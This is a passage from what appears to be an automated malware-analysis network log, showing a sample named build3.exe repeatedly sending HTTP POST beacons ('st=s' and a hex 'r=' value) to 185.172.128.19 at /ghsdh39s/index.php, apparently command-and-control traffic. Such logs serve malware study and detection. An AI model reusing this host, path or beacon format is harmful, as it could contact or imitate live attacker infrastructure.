r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:06.953511000 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
200	192.168.2.4	50021	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:07.358908892 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:07.675705910 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
201	192.168.2.4	50022	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:07.971905947 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:08.265923023 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
202	192.168.2.4	50024	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:08.694531918 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:08.989454031 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
203	192.168.2.4	50026	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:09.440113068 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:09.740606070 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
204	192.168.2.4	50027	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:10.192872047 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:10.489366055 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
205	192.168.2.4	50028	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:10.780905962 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:11.071504116 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
206	192.168.2.4	50032	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:11.506500006 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:11.801367998 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:38:11.803884983 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:12.097867012 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
207	192.168.2.4	50033	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:12.509879112 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:12.804542065 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
208	192.168.2.4	50034	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:13.102190018 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:13.417486906 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
209	192.168.2.4	50035	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:13.824986935 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:14.126633883 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:38:14.129143953 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:14.424675941 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
210	192.168.2.4	50037	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:14.821233034 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:15.109070063 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
211	192.168.2.4	50038	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:15.404813051 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:15.694986105 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
212	192.168.2.4	50039	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:16.113532066 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:16.403496027 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
213	192.168.2.4	50040	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:16.695576906 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:16.985321999 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
214	192.168.2.4	50041	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:17.401590109 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:17.692203045 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
215	192.168.2.4	50042	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:17.985937119 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:18.277972937 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
216	192.168.2.4	50043	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:18.674243927 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:18.962376118 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
217	192.168.2.4	50044	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:19.280081034 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:19.576766014 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
218	192.168.2.4	50046	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:19.973227024 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:20.266027927 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:38:20.268580914 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:20.565905094 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
219	192.168.2.4	50047	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:20.997972012 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:21.291409969 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
220	192.168.2.4	50049	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:21.603094101 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:21.896078110 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
221	192.168.2.4	50050	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
